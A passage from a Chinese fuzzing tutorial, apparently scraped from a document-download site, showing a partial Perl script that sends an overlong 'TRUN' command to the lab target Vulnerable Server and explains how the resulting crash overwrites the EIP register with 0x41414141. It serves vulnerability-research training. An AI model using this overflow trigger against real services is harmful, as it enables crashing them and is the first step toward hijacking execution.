Fuzzing-用SPIKE挖掘漏洞(18)

时间:2025-02-23

详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程

die("Usage: $0 IP_ADDRESS PORTnn"); # help message shown if too few variables

are provided

}

$baddata = "TRUN /.:/"; # sets variable $badata to "TRUN /.:/"

$baddata .= "A" x 5000; # appends 5000 "A" characters to $baddata variable

$socket = IO::Socket::INET->new( # creates a new socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # IP address - command line variable 1

PeerPort => "$ARGV[1]" # TCP port number - command line variable 2

) or die "Cannot connect to $ARGV[0]:$ARGV[1]"; # error shown if socket connection cannot be established

$socket->recv($serverdata, 1024); # receives 1024 bytes of data from socket to capture Welcome message

print "$serverdata"; # prints out received data

$socket->send($baddata); # sends data in $baddata over socket

这些代码在$baddata变量中存储了恰当的fuzz字符串,建立了一个到IP地址的TCP套接字,在命令行上指定端口,通过套接字接收打印Welcome信息,发送fuzz数据到服务器。

保存致谢代码到“trun.pl”文件,给与其可执行权限(chmod +x trun.pl ),运行它: root@bt4r1vm:~/fuzzing# ./trun.pl 192.168.56.101 9999

Welcome to Vulnerable Server! Enter HELP for help.

这时检查调试器,我们会看到相同的违规访问报错。我们发现了一个导致程序崩溃的bug.作为一个奖励,我们发送的数据已经控制了CPU的一个非常重要的寄存器-EIP寄存器(扩展指令寄存器)。

看一下EIP寄存器是如何包含值41414141的呢?

既然EIP是4byte(32bit)的寄存器,保存来里面的值-41414141(时间上是16进制的0x41414141)是由4个16进制个体0x41组成。0x41转换成ASCII码是什么的,是的,正式大写字母“A”。我们可以用perl打印输出“x41”来证明。

Fuzzing-用SPIKE挖掘漏洞(18).doc 将本文的Word文档下载到电脑

精彩图片

热门精选

大家正在看

× 游客快捷下载通道(下载后可以自由复制和排版)

限时特价:7 元/份 原价:20元

支付方式:

开通VIP包月会员 特价:29元/月

注:下载文档有可能“只有目录或者内容不全”等情况,请下载之前注意辨别,如果您已付费且无法下载或内容有问题,请联系我们协助你处理。
微信:fanwen365 QQ:370150219